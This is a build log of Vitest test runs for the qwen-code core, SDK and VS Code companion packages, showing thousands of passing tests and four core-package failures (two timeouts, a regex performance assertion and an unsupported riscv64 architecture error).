✓ GitWorktreeService.createUserWorktree() — hooksPath setup > falls back to .git/hooks when .husky is missing 1964ms
✓ GitWorktreeService.createUserWorktree() — hooksPath setup > still creates the worktree even when hooksPath setup fails 1737ms
✓ src/providers/__tests__/presets/grok.test.ts (6 tests) 516ms
✓ src/services/attributionTrailer.test.ts (4 tests) 316ms
✓ src/utils/osc8.test.ts (13 tests) 497ms
✓ src/providers/__tests__/presets/idealab.test.ts (6 tests) 388ms
✓ src/goals/goal-legacy-projection.test.ts (12 tests) 348ms
✓ src/telemetry/event-loop-lag-metrics.test.ts (4 tests) 1102ms
✓ event loop lag metrics > registers daemon and ACP event loop lag gauges 635ms
✓ src/core/openaiContentGenerator/provider/modelscope.test.ts (5 tests) 316ms
✓ src/core/prompt-tool-examples.test.ts (2 tests) 2609ms
✓ prompt tool call examples > keeps qwen-coder examples valid against current tool schemas 2147ms
✓ prompt tool call examples > keeps qwen-vl examples valid against current tool schemas 381ms
✓ src/tools/web-fetch-preapproved.test.ts (13 tests) 300ms
✓ src/tools/task-list.test.ts (6 tests) 2987ms
✓ TaskListTool > returns empty when no tasks exist 1261ms
✓ TaskListTool > lists created tasks 587ms
✓ TaskListTool > filters by status 575ms
✓ src/skills/skill-paths.test.ts (7 tests) 627ms
✓ src/utils/terminalSafe.test.ts (11 tests) 269ms
✓ src/utils/toml-to-markdown-converter.test.ts (11 tests) 1011ms
✓ convertTomlToMarkdown > should convert TOML with description to Markdown 302ms
✓ src/mcp/google-auth-provider.test.ts (8 tests) 579ms
✓ src/core/inlineMediaLimit.test.ts (13 tests) 381ms
✓ src/utils/filesearch/result-cache.test.ts (6 tests) 525ms
✓ src/utils/image-view.test.ts (4 tests) 4517ms
✓ image views > keeps a small overview at its oriented source size 563ms
✓ image views > bounds a large overview by the shared edge and patch budget 3564ms
✓ src/utils/projectRoot.test.ts (5 tests) 539ms
✓ src/utils/xml.test.ts (10 tests) 456ms
✓ src/memory/team-memory-git-status.test.ts (5 tests) 1858ms
✓ getTeamMemoryShareabilityWarning > returns null when the team dir is git-tracked 532ms
✓ getTeamMemoryShareabilityWarning > warns when a directory-form .gitignore swallows the team dir 404ms
✓ getTeamMemoryShareabilityWarning > returns null when .qwen/* re-includes the team dir 416ms
✓ getTeamMemoryShareabilityWarning > warns when topic files are ignored even though the index is re-included 397ms
✓ src/hooks/combinedAbortSignal.test.ts (8 tests) 797ms
✓ src/core/reasoning-effort.test.ts (10 tests) 328ms
✓ src/extension/network-policy.test.ts (15 tests) 738ms
✓ src/utils/LruCache.test.ts (7 tests) 245ms
✓ src/skills/skill-load.real-parser.test.ts (7 tests) 1050ms
✓ parseSkillContent with real YAML parser > parses folded block scalar descriptions (>) 559ms
✓ src/tools/computer-use/schemas.test.ts (8 tests) 553ms
✓ src/utils/installationManager.test.ts (4 tests) 342ms
✓ src/core/geminiRequest.test.ts (13 tests) 279ms
✓ src/hooks/user-prompt-submit-context.test.ts (11 tests) 296ms
✓ src/core/permission-helpers.test.ts (6 tests) 257ms
✓ src/agents/team/leaderPermissionBridge.test.ts (7 tests) 288ms
✓ src/extension/storage.test.ts (5 tests) 311ms
✓ src/hooks/stopHookCap.test.ts (9 tests) 274ms
✓ src/utils/invocation-context.test.ts (12 tests) 328ms
✓ src/memory/extractAgent.test.ts (1 test) 957ms
✓ auto-memory extraction with agent planner > uses the forked-agent execution path when config is provided 882ms
✓ src/tools/team-delete.test.ts (5 tests) 2207ms
✓ TeamDeleteTool > deletes an active team 1438ms
✓ TeamDeleteTool > returns TeamResultDisplay 315ms
✓ src/lsp/NativeLspClient.test.ts (2 tests) 323ms
✓ src/memory/dream.test.ts (3 tests) 1180ms
✓ managed auto-memory dream > throws when config is missing 417ms
✓ managed auto-memory dream > returns touched topics derived from files touched by the dream agent 588ms
✓ src/core/geminiContentGenerator/index.test.ts (3 tests) 472ms
✓ src/utils/tool-response-finalizer.integration.test.ts (2 tests) 599ms
✓ tool response finalization persistence > does not overwrite a natural suffix id when duplicate ids are persisted 476ms
✓ src/extension/redaction.test.ts (11 tests) 226ms
✓ src/goals/activeGoalStore.test.ts (8 tests) 278ms
✓ src/skills/symlinkScope.test.ts (5 tests) 270ms
✓ src/tools/syntheticOutput.test.ts (7 tests) 1483ms
✓ SyntheticOutputTool > accepts args that match the user schema 1192ms
✓ src/hooks/instructionsLoadedCallback.test.ts (4 tests) 485ms
✓ src/utils/bundlePaths.test.ts (4 tests) 174ms
✓ src/providers/__tests__/presets/modelscope.test.ts (3 tests) 313ms
✓ src/telemetry/sanitize.test.ts (10 tests) 230ms
✓ src/tools/list-agents.test.ts (2 tests) 1318ms
✓ ListAgentsTool > reports an empty roster 1141ms
✓ src/goals/goal-runtime.integration.test.ts (2 tests) 473ms
✓ Goal runtime host integration > keeps sequential automatic admissions independent within the turn budget 368ms
✓ src/utils/sanitize-child-env.test.ts (6 tests) 316ms
✓ src/services/sessionRecap.test.ts (1 test) 291ms
✓ src/telemetry/session-context.test.ts (7 tests) 198ms
✓ src/services/session-service-writer-lease.test.ts (2 tests) 761ms
✓ SessionService.acquireSessionWriterLease > uses the service runtime root and rejects a second writer 612ms
✓ src/utils/projectSummary.test.ts (3 tests) 716ms
✓ src/skills/bundled-skills.integration.test.ts (11 tests) 966ms
✓ bundled SKILL.md files > batch/SKILL.md parses with required fields 512ms
✓ src/memory/const.test.ts (4 tests) 244ms
✓ src/core/openaiContentGenerator/provider/grok.test.ts (8 tests) 347ms
✓ src/utils/shell-pager-env.test.ts (8 tests) 254ms
↓ src/utils/ripgrepUtils.real.test.ts (2 tests | 2 skipped)
✓ src/agents/subagent-result.test.ts (18 tests) 290ms
✓ src/tools/computer-use/registration.test.ts (2 tests) 403ms
✓ src/utils/language-detection.test.ts (6 tests) 209ms
✓ src/providers/__tests__/presets/zai.test.ts (3 tests) 344ms
✓ src/memory/team-memory-secret-guard.test.ts (4 tests) 409ms
✓ src/tools/computer-use/install-state.test.ts (6 tests) 498ms
✓ src/providers/__tests__/presets/openrouter.test.ts (5 tests) 226ms
✓ src/extension/corruptFile.test.ts (2 tests) 540ms
✓ quarantineCorruptFile > renames the file aside to ${path}.corrupted, preserving its bytes 366ms
✓ src/providers/__tests__/presets/alibaba-coding-plan.test.ts (2 tests) 321ms
✓ src/providers/__tests__/presets/requesty.test.ts (5 tests) 244ms
✓ src/agents/backends/tmux-commands.test.ts (8 tests) 275ms
✓ src/tools/artifact/local-publisher.test.ts (3 tests) 483ms
✓ src/skills/bundled/loop/autonomous-loop.test.ts (3 tests) 233ms
✓ src/providers/__tests__/presets/deepseek.test.ts (3 tests) 355ms
✓ src/tools/zoom-image.sharp-failure.test.ts (1 test) 2145ms
✓ ZoomImageTool when sharp fails to load > returns a recoverable error when the sharp module cannot be imported 2081ms
✓ src/utils/asyncMessageQueue.test.ts (7 tests) 215ms
✓ src/tools/artifact/create-publisher.test.ts (5 tests) 270ms
✓ src/tools/computer-use/permission-detector.test.ts (6 tests) 225ms
✓ src/telemetry/telemetry.test.ts (2 tests) 2229ms
✓ telemetry > should initialize the telemetry service 1820ms
✓ src/utils/load-simple-git.test.ts (3 tests) 698ms
✓ loadSimpleGit > uses named exports and single-flights concurrent loads 375ms
✓ src/lsp/LspConnectionFactory.test.ts (2 tests) 2291ms
✓ LspConnectionFactory > captures stderr and exit code when stdio server closes during initialize 1184ms
✓ LspConnectionFactory > preserves UTF-8 characters split across stderr chunks 1033ms
✓ src/utils/startupEventSink.test.ts (4 tests) 344ms
✓ src/telemetry/api-activity-tracker.test.ts (3 tests) 242ms
✓ src/core/genai-compat.test.ts (7 tests) 307ms
✓ src/utils/internalPromptIds.test.ts (9 tests) 200ms
✓ src/lsp/configHash.test.ts (3 tests) 272ms
✓ src/telemetry/trace-id-utils.test.ts (8 tests) 399ms
✓ src/utils/sync-file-encoding.test.ts (9 tests) 2067ms
✓ sync file encoding compatibility > matches the async decoder for GBK input 625ms
✓ sync file encoding compatibility > matches the async encoder for GBK metadata 1016ms
✓ src/providers/__tests__/presets/minimax.test.ts (3 tests) 334ms
✓ src/utils/messageInspectors.test.ts (5 tests) 164ms
✓ src/utils/formatters.test.ts (13 tests) 191ms
✓ src/telemetry/telemetry-utils.test.ts (6 tests) 196ms
✓ src/utils/load-iconv-lite.test.ts (3 tests) 699ms
✓ loadIconvLite > unwraps the CommonJS default and single-flights concurrent loads 349ms
✓ src/subagents/types.test.ts (3 tests) 182ms
✓ src/hooks/context-usage.test.ts (8 tests) 253ms
✓ src/utils/load-xterm-headless.test.ts (3 tests) 676ms
✓ loadXtermHeadless > uses named exports and single-flights concurrent loads 349ms
✓ src/extension/archive-safety.test.ts (1 test) 1579ms
✓ assertTarArchiveHasNoLinks > rejects a large link set without throwing outside the promise 1498ms
✓ src/core/tool-call-preparation.test.ts (3 tests) 225ms
✓ src/tools/artifact/publisher.test.ts (5 tests) 285ms
✓ src/core/plan-mode-entry-policy.test.ts (8 tests) 165ms
✓ src/services/worktreeCleanup.test.ts (3 tests) 188ms
✓ src/memory/entries.test.ts (1 test) 277ms
✓ src/core/openaiContentGenerator/constants.test.ts (5 tests) 170ms
✓ src/agents/team/promptAddendum.test.ts (2 tests) 210ms
✓ src/utils/getPty.test.ts (1 test) 185ms
✓ src/utils/env.test.ts (12 tests) 147ms
✓ src/goals/goal-turn-context.test.ts (1 test) 209ms
✓ src/telemetry/tool-call-decision.test.ts (1 test) 142ms
✓ src/index.test.ts (1 test) 172ms
⎯⎯⎯⎯⎯⎯⎯ Failed Tests 4 ⎯⎯⎯⎯⎯⎯⎯
FAIL src/config/config-session-env.test.ts > Config sessionEnvClaimed guard > first Config sets process.env QWEN_CODE_SESSION_ID to its sessionId
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/config/config-session-env.test.ts:154:3
152|
153| describe('Config sessionEnvClaimed guard', () => {
154| it('first Config sets process.env QWEN_CODE_SESSION_ID to its sessio…
| ^
155| const { Config } = await import('./config.js');
156| const config = new Config({ ...baseParams });
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/4]⎯
FAIL src/config/config-session-env.test.ts > Config sessionEnvClaimed guard > subsequent Config does not overwrite the env var set by the first
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/config/config-session-env.test.ts:161:3
159| });
160|
161| it('subsequent Config does not overwrite the env var set by the firs…
| ^
162| const { Config } = await import('./config.js');
163| const firstConfig = new Config({ ...baseParams });
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/4]⎯
FAIL src/utils/shellReadOnlyChecker.test.ts > evaluateShellCommandReadOnly > tri-state classifier mirrors > handles adversarial rule inputs without regex backtracking
AssertionError: expected 4667.754579 to be less than 1000
❯ src/utils/shellReadOnlyChecker.test.ts:466:45
464| true,
465| ]);
466| expect(performance.now() - startedAt).toBeLessThan(1000);
| ^
467| });
468| });
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[3/4]⎯
FAIL src/tools/computer-use/client.test.ts > ComputerUseClient > returns the same instance for repeated callers via singleton
Error: Computer Use: unsupported Linux arch 'riscv64' (only x64).
❯ resolveAssetTarget src/tools/computer-use/constants.ts:106:13
104| if (platform === 'linux') {
105| if (arch !== 'x64') {
106| throw new Error(
| ^
107| `Computer Use: unsupported Linux arch '${arch}' (only x64).`,
108| );
❯ binaryPath src/tools/computer-use/constants.ts:238:18
❯ ComputerUseClient.shared src/tools/computer-use/client.ts:96:17
❯ src/tools/computer-use/client.test.ts:28:33
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[4/4]⎯
⎯⎯⎯⎯⎯⎯ Unhandled Errors ⎯⎯⎯⎯⎯⎯
Vitest caught 1 unhandled error during the test run.
This might cause false positive tests. Resolve unhandled errors to make sure your tests are not affected.
⎯⎯⎯⎯⎯⎯ Unhandled Error ⎯⎯⎯⎯⎯⎯⎯
Error: [vitest-worker]: Timeout calling "onTaskUpdate"
❯ Object.onTimeoutError ../../node_modules/vitest/dist/chunks/rpc.-pEldfrD.js:53:10
❯ Timeout._onTimeout ../../node_modules/vitest/dist/chunks/index.B521nVV-.js:59:62
❯ listOnTimeout node:internal/timers:685:17
❯ processTimers node:internal/timers:618:7
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Test Files 3 failed | 345 passed | 1 skipped (565)
Tests 4 failed | 11849 passed | 6 skipped (11859)
Errors 1 error
Start at 09:44:36
Duration 13347.09s (transform 451.92s, setup 50.79s, collect 4000.12s, tests 1576.77s, environment 6.99s, prepare 912.70s)
JUNIT report written to /build/qwen-code/src/qwen-code/packages/core/junit.xml
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/packages/core
npm error workspace @qwen-code/qwen-code-core@0.21.5
npm error location /build/qwen-code/src/qwen-code/packages/core
npm error command failed
npm error command sh -c vitest run --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
npm notice run @qwen-code/sdk@0.1.8 test
RUN v1.6.1 /build/qwen-code/src/qwen-code/packages/sdk-typescript
✓ test/unit/DaemonClient.test.ts (304 tests) 11750ms
✓ test/unit/daemonUi.test.ts (279 tests) 5072ms
stderr | test/unit/daemonUi.test.ts > daemon UI reducer state machine (PR-E) > enters resync-required state and skips later non-terminal deltas
[daemon-ui] dropping event `assistant.text.delta` while awaitingResync; state may be stale until session reconnect (lastResyncRequired: {"reason":"ring_evicted","lastDeliveredId":1,"earliestAvailableId":4})
stderr | test/unit/daemonUi.test.ts > R6 review batch — recovery flow + pending pointer > clearAwaitingResync AFTER dispatching events: events ARE dropped (documents the flow)
[daemon-ui] dropping event `assistant.text.delta` while awaitingResync; state may be stale until session reconnect (lastResyncRequired: {"reason":"sse_eviction","lastDeliveredId":5,"earliestAvailableId":12})
✓ test/unit/daemonEvents.test.ts (109 tests) 1896ms
✓ test/unit/DaemonSessionClient.test.ts (50 tests) 3448ms
2026-09-12 13:29:42 [ERROR] [ProcessTransport] Failed to initialize CLI process: Transport start aborted
2026-09-12 13:29:44 [DEBUG] [ProcessTransport] Spawning CLI (native): qwen --input-format stream-json --output-format stream-json --channel=SDK
2026-09-12 13:29:42 [ERROR] [ProcessTransport] Failed to initialize CLI process: Transport start aborted
2026-09-12 13:29:42 [ERROR] [ProcessTransport] CLI process error: Spawn failed
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process exited with code 1
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process terminated by signal SIGTERM
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process error: Process error
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process exited with code 1
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process error: Process error
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process exited with code 1
2026-09-12 13:29:43 [ERROR] [ProcessTransport] CLI process terminated by signal SIGKILL
2026-09-12 13:29:44 [INFO] [ProcessTransport] CLI process started successfully
2026-09-12 13:29:44 [DEBUG] [ProcessTransport] Forking CLI (node): /path/to/cli.js --input-format stream-json --output-format stream-json --channel=SDK
2026-09-12 13:29:44 [INFO] [ProcessTransport] CLI process started successfully
✓ test/unit/ProcessTransport.test.ts (86 tests) 3277ms
✓ test/unit/AcpHttpTransport.test.ts (48 tests) 2425ms
2026-09-12 13:30:05 [ERROR] [Query] Control response error for request 709b8742-5f3f-4d15-b522-4c35854b1b36: Test error
2026-09-12 13:30:05 [ERROR] [Query] Initialization error: Test error
2026-09-12 13:30:18 [ERROR] [Query] Initialization error: Query is closed
2026-09-12 13:30:29 [ERROR] [Query] Control response error for request 518fe1fc-f85d-4d8f-b371-686e559845ce: Malformed error
✓ test/unit/Query.test.ts (61 tests) 26061ms
✓ test/unit/acpRouteTable.test.ts (103 tests) 1300ms
✓ test/unit/RestSseTransport.test.ts (44 tests) 1852ms
[serve-bridge] Tool error: Error: something broke
at /build/qwen-code/src/qwen-code/packages/sdk-typescript/test/unit/serve-bridge.test.ts:151:44
at file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:135:14
at file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:60:26
at runTest (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:781:17)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runFiles (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:958:5)
at startTests (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:967:3)
at file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/vitest/dist/chunks/runtime-runBaseTests.oAvMKtQC.js:116:7
✓ test/unit/serve-bridge.test.ts (32 tests) 2102ms
[serve-bridge] Tool error: string error
[serve-bridge] SSE stream ended unexpectedly for session new-session-id: GET /session/:id/events: HTTP 404
[serve-bridge] Tool error: Error: No SSE stream for session. Was the session created via session_create?
at /build/qwen-code/src/qwen-code/packages/sdk-typescript/src/daemon-mcp/serve-bridge/tools/agent.ts:33:17
at Object.handler (/build/qwen-code/src/qwen-code/packages/sdk-typescript/src/daemon-mcp/serve-bridge/helpers.ts:45:20)
at /build/qwen-code/src/qwen-code/packages/sdk-typescript/test/unit/serve-bridge.test.ts:397:39
at runTest (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:781:11)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runFiles (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:958:5)
at startTests (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:967:3)
at file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/vitest/dist/chunks/runtime-runBaseTests.oAvMKtQC.js:116:7
[serve-bridge] Tool error: Error: Another prompt is already in progress for this session. Wait for it to complete or call prompt_cancel first.
at /build/qwen-code/src/qwen-code/packages/sdk-typescript/src/daemon-mcp/serve-bridge/tools/agent.ts:40:17
at Object.handler (/build/qwen-code/src/qwen-code/packages/sdk-typescript/src/daemon-mcp/serve-bridge/helpers.ts:45:20)
at /build/qwen-code/src/qwen-code/packages/sdk-typescript/test/unit/serve-bridge.test.ts:427:39
at runTest (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:781:11)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runSuite (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:909:15)
at runFiles (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:958:5)
at startTests (file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/@vitest/runner/dist/index.js:967:3)
at file:///build/qwen-code/src/qwen-code/packages/sdk-typescript/node_modules/vitest/dist/chunks/runtime-runBaseTests.oAvMKtQC.js:116:7
✓ test/unit/daemon-public-surface.test.ts (13 tests) 330ms
✓ test/unit/daemon-transcript-projection.test.ts (14 tests) 1317ms
✓ test/unit/DaemonAuthFlow.test.ts (14 tests) 13495ms
✓ test/unit/cliPath.test.ts (33 tests) 1433ms
✓ test/unit/daemon-sse.test.ts (18 tests) 562ms
✓ test/unit/AutoReconnectTransport.test.ts (19 tests) 786ms
✓ test/unit/DaemonClientVoice.test.ts (8 tests) 926ms
✓ test/unit/createSdkMcpServer.test.ts (18 tests) 1238ms
2026-09-12 13:32:47 [ERROR] [Query] Transport finalized with pending requests rejected {"pendingControl":1,"pendingMcp":0,"error":"Transport closed before control response"}
2026-09-12 13:32:47 [ERROR] [Query] Transport finalized with pending requests rejected {"pendingControl":1,"pendingMcp":0,"error":"transport read crashed"}
2026-09-12 13:32:47 [ERROR] [Query] Transport finalized with pending requests rejected {"pendingControl":0,"pendingMcp":1,"error":"Transport closed before control response"}
2026-09-12 13:32:47 [ERROR] [Query] Control response error for request 3d2491a0-06ef-492b-8306-6610675a236d: no turn to continue
✓ test/query.test.ts (7 tests) 537ms
✓ test/unit/negotiateTransport.test.ts (15 tests) 2976ms
✓ test/unit/AcpWsTransport.test.ts (31 tests) 912ms
✓ test/unit/AcpEventDenormalizer.test.ts (20 tests) 343ms
✓ test/unit/Stream.test.ts (22 tests) 940ms
✓ test/unit/queryOptionsSchema.test.ts (80 tests) 803ms
✓ test/unit/createQuery.test.ts (5 tests) 1318ms
✓ test/unit/daemon-transports-surface.test.ts (4 tests) 401ms
✓ test/unit/approval-mode-drift.test.ts (1 test) 160ms
✓ test/daemon-ui-transcript.test.ts (1 test) 169ms
✓ test/unit/DaemonWorkspaceManagement.test.ts (1 test) 490ms
✓ test/unit/acpTransportUtils.test.ts (3 tests) 117ms
✓ test/unit/daemon-pending-interaction-types.test.ts (1 test) 150ms
Test Files 31 passed (31)
Tests 1444 passed (1444)
Start at 13:28:18
Duration 475.82s (transform 103.34s, setup 112ms, collect 186.02s, tests 88.59s, environment 278ms, prepare 77.32s)
npm notice run qwen-code-vscode-ide-companion@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/vscode-ide-companion
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > configures sidebar views with workspace/temp roots and resolves image paths through the attached webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > configures sidebar views with workspace/temp roots and resolves image paths through the attached webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > reports clipboard copy success back to the requesting webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > reports clipboard copy success back to the requesting webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > writes webview log messages through the extension host logger
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > writes webview log messages through the extension host logger
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > reports clipboard copy failures back to the requesting webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > reports clipboard copy failures back to the requesting webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > streams slash-command notifications into the attached webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > streams slash-command notifications into the attached webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > re-sends cached available commands when the webview becomes ready
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > re-sends cached available commands when the webview becomes ready
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > does not special-case plain insight slash notifications in the provider
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > does not special-case plain insight slash notifications in the provider
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes structured insight progress markers into the attached webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes structured insight progress markers into the attached webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes structured insight progress markers even when command text is normalized differently
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes structured insight progress markers even when command text is normalized differently
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > clears structured insight progress when the ready marker arrives
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > clears structured insight progress when the ready marker arrives
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > opens the insight report in the browser when requested from the webview
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > opens the insight report in the browser when requested from the webview
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes resolved image paths back to the requesting attached webview even when a panel exists
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > routes resolved image paths back to the requesting attached webview even when a panel exists
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > marks rejected switch_mode permission requests as failed without cancelling the session
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > marks rejected switch_mode permission requests as failed without cancelling the session
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > settles a matching pending permission when the tool call becomes terminal
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > settles a matching pending permission when the tool call becomes terminal
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > rejects one workflow approval without cancelling the parent prompt
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > rejects one workflow approval without cancelling the parent prompt
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > replays available skills to the webview after webviewReady
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > replays available skills to the webview after webviewReady
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > replays available commands to the webview after webviewReady
[WebViewProvider] Attaching to WebviewView (viewType=qwen-code.chatView.sidebar)
[WebViewProvider] Attempting to restore auth state and connection for view...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider.attachToView > replays available commands to the webview after webviewReady
[WebViewProvider] Attempting connection...
stdout | src/webview/providers/WebViewProvider.test.ts > WebViewProvider settings sync > does not report success for api-key settings without interactive auth data
[WebViewProvider] Skipping VSCode settings sync for api-key provider; interactive auth owns provider details
